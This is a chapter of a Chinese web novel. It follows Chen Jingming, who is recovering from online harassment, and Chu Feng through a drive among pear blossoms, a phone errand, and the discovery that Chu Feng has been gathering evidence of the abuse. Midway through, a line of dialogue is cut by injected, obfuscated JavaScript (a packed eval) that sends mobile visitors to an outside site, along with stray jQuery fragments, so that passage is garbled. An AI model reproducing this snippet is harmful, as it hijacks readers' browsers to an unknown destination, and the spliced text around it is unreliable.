第8章
从墓园回家的路很绕,楚峰开这种路习惯了速度不算慢,陈景明被晃得左右摇摆。
车窗开了一点,风吹进来是凉的。
陈景明在想刚刚楚峰说的那个可以做编辑的人脉是谁?是自己吗?
从回来到现在,楚峰都没有问过陈景明在哪里上的大学,做的什么工作,这些年过得怎么样。
之前陈景明还不能确定楚峰是否知道自己被卷进网曝的事,现在几乎可以确定了。
楚峰是知道的。
就因为知道才不敢问,就因为知道才小心翼翼。
陈景明偷偷看了一眼楚峰,他开车的时候总是微微蹙着眉头,很认真的样子。
陈景明轻轻倚靠着车窗看外面的景色。
有不知道从哪里吹落的白色小花瓣飘进车里,陈景明张开手接到一片。
陈景明有点认不出来,觉得像樱花又像桃花。
“梨花。”楚峰说着,放慢车速,“宝宝,你看前面。”
陈景明抬头,前面不远处是一棵很高很大的梨树,开了满树的白色梨花,就这样盛放在满是翠绿的山谷,如同一枚白玉。
陈景明看得入神,楚峰给他把车窗全部降下来。
也许是山风也想要安慰陈景明,开窗的瞬间山谷里的风穿过,把漫天飞舞的梨花卷进了车里。
“唔——”陈景明被梨花扑了个满面。
随后陈景明反应过来,大笑着睁开眼,看到无数白色花瓣穿车而过,在楚峰高挺的鼻梁上也留下一片。
楚峰笑着抬手拂去,看向陈景明的那一眼比陈景明还要开心。
车子开过这一段,没有风就没有花飘进来了。
陈景明的身上还有,他轻轻碾碎手心里的那几片,凑到鼻子边闻了一下。
“什么味道?”楚峰问。
陈景明摇摇头,“没有味道。”
楚峰:“喜欢吗?宝宝。”
陈景明给他肯定的回答,“喜欢。”
清明节假期古镇里有一些游客,但长岭古镇除了民族建筑并没有其他的旅游资源,倒是这附近有几个古村古寨,游客一般到镇上换乘旅游公交去那边的古寨里玩。
回到家的时候发现家门口放了一只红色的水桶,陈景明先下的车,他走过去一看里面是一只活的王八。
“哥。”陈景明喊他。
楚峰把东西都拎下来,“谁拿来的?”
陈景明:“不知道啊,就放在这里。”
楚峰:“那先拎进去,回头我问问谁拿来的。”
刚进了门,楚峰的电话就响了,他一边接电话一边收拾扫墓带回来的东西。
陈景明在院子里看了一会儿王八,比了一下,比他的手要大很多。
门外有车车路过,压到松动的石板响了一声。
陈景明站起来打个哈欠伸了懒腰,伸懒腰的时候有两片花瓣从腰上掉落,陈景明笑了笑,抬头看到楚峰站在客厅里一脸严肃的打电话。
楚峰挂了电话,在客厅里喊宝宝。
“我在这儿。”陈景明赶紧进门。
楚峰:“宝宝,我得去一趟牧场,你在家里睡个午觉我就回来了。”
陈景明说好。
楚峰走得很急,陈景明也没问他去做什么,早上起得太早了现在确实很困,但是又不想洗澡换衣服上床,就在客厅的沙发上躺一会儿。
陈景明发现客厅的沙发很大餐桌也很大,角落里还摞了两摞折叠椅,茶几上有大烟灰缸竹编筐里还有不少小零食。
他忽然想到,楚峰这里是不是平时来的人很多啊?
沙发正对着楚峰的大工作台,工作台后面的墙上挂了很多装饰品,其中最显眼的是两个傩戏面具。
陈景明想起昨天陈朗说的集市晚上有傩戏表演,其实陈景明对这些挺感兴趣的,他以前在网上看过关于傩戏非遗继承人的纪录片。
现场看的应该会很震撼吧。
春季多雨,一楼总是有点潮湿,空气都是湿润的。
这还是回来之后第一次和楚峰分开,陈景明在客厅里走动,时不时能从身体的某个角落抖出一片白色花瓣,他感到前所未有的平静。
陈景明想着楚峰跟他说的,迷茫的时候先生活。
可是陈景明也不知道自己该怎么生活,在长溪市能做点什么呢?他逃一样地回到长溪市,见到了曾经很亲密的人,但他知道和以前已经不一样了。
不知道薛冬妮在剧组怎么样,不知道现在网上是不是还在骂自己。
回来之后再也没有登陆过任何社交账号,手机也一直放在卧室没有带出来。
迷迷糊糊地打了个盹,醒来是因为电话响了。
陈景明愣了好一会儿才反应过来,是家里的座机,现在家里还装座机的人家不多了,陈景明爬起来去找电话。
座机在书架上,空了一格放着。
“喂?”
“宝宝是我。”
陈景明松口气:“哥。”
陈景明往外面看了一眼,分辨不出现在几点了。
“手机关机了,我就打了座机,宝宝在家的话帮我找个文件可以吗?”楚峰那边有风声,应该还在牧场里,“一会儿我让陈朗过来拿。”
陈景明说好。
楚峰:“应该就在桌子上,有个蓝色的文件夹上写了排污这两个字的,我按年份排列了你帮我找最近这三年的。”
座机不能拿过去,陈景明说完等一下之后去工作台上找。
楚峰收纳得很整齐,很容易就找到了,陈景明拿过去跟楚峰确认资料对不对。
“哥?”陈景明对着电话轻声喊他。
电话那头楚峰正在跟人说话。
风有点大,听不太清他们说话的内容,但听到楚峰挺大声地说了声谢谢。
过了好一会儿,楚峰才对着手机喊了声“宝宝”。
“嗯我在呢。”陈景明忙说。
楚峰笑了笑:“找到了吗?”
陈景明说找到了,“朗哥什么时候来?”
“应该快了,他刚回老家上坟回来。”楚峰说:“原来那只王八是七叔送过来的,他昨天钓到的野生王八,说给你补补身体。”
陈景明有些意外,“给我的吗?”
他甚至连这个七叔是谁都不记得了,镇上的人都沾亲带故,不是叔叔就是伯伯,陈景明小时候就经常搞不清楚乱喊。
楚峰:“嗯,给你的。”
陈景明:“他们知道我回来了吗?”
“嗯。”楚峰的音调放缓了一些,“小地方都这样,一个人知道就是整个镇上知道了,一直嚷嚷着要一起吃饭呢。但是哥想着你这么害羞,应该不想太热闹就没有同意。”
陈景明垂着眼:“谢谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467670|169831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哥。”
挂了电话,陈景明去工作台找文件袋,想把文件装起来,万一不小心弄丢或者弄脏了就不好了。
在桌上找文件袋时候不小心扯到夹在文件中的平板电脑,平板丝滑掉到地上,把陈景明吓了一跳。
陈景明忙捡起来检查,触地的那个角磕花了一点,但解锁了确定屏幕没有事。
楚峰的平板没有设置密码,一点开就来到了上次他停留的地方,相册。
相册里存满了各个平台的截图和录屏,那些都是陈景明再熟悉不过的字句和片段。
因为一开始陈景明也收集过,他在律师的建议下在网络上收集了很多被辱骂、人身攻击和侵犯个人信息的资料,想要用法律的武器来保护自己。
楚峰的这一份只比陈景明和律师做的那一份少了私信部分和监控。
他不但知道,他也在想办法保护自己。
陈景明脑海中仿佛有一滴水滴平静坠地,他看着这些不堪入目的东西也没有像往常一样应激。
陈景明轻轻地呼出一口气,甚至抿着嘴唇笑了。
眼睛里有眼泪掉出来,打在平板屏幕上。
“宝宝!景明!”陈朗的摩托车停在门口。
陈景明连忙盖住文件,抬手擦掉眼泪:“朗哥我在!”
陈朗戴了个黑色鸭舌帽,风风火火地走进来,手里拎了一袋小樱桃,“老家摘的,你洗洗再吃。”
“是这个吗?”陈景明把文件装在透明文件袋里拿给陈朗。
陈朗看了一眼,点头说是。
刚刚没注意看陈景明,现在收了文件才仔细盯着陈景明看,陈朗忽然笑了一下。
“怎么了?”陈景明摸摸自己的脸,“我脸上有东西吗?”
陈朗:“没有,是你觉得你有点不一样了。”
陈景明以为陈朗发现自己刚刚掉眼泪了。
“你眼睛里有光了,景明。”陈朗说。
陈景明:“啊?”
陈朗:“你知道吗?你刚回来的时候眼睛特别特别暗。”
“暗?”陈景明知道陈朗是什么意思,但还是顺着问了一下,因为觉得陈朗的话还没有说完。
“嗯。”陈朗说:“一开始还以为你戴什么美瞳了呢。”
陈景明:“……”
陈朗屁股一歪坐在工作台边缘,抓了一把刚刚放在旁边的小樱桃往嘴里塞。
“没洗呢。”陈景明记得刚刚陈朗还叮嘱他记得洗了再吃。
陈朗:“没事这我外婆自己院子里的,没打药。但我不说万一你吃出毛病了你哥不得打死我,你细皮嫩肉的跟我不一样。”
“哪有不一样。”陈景明嘟囔,“两只眼睛一张嘴,都是男的有什么不一样。”
陈朗忽然笑起来,“是是是,那个也一样。”
陈景明:“朗哥你奇奇怪怪的。”
“我哪有奇怪?”陈朗眨眨眼从桌子上下来,“景明你可是个作家,怎么这么不敏锐啊?”
陈景明:“什么呀?”
陈朗凑近一些,笑得挺坏:“难道是没谈过么?小处男?”
“哥你……”陈景明瞬间就明白了,明白为什么陈朗总是意味不明地笑,明白他莫名奇妙的话。
陈朗没明说,哈哈大笑摆摆手:“走了!”
陈景明呆滞在原地久久缓不过来,“黑……黑皮受啊。”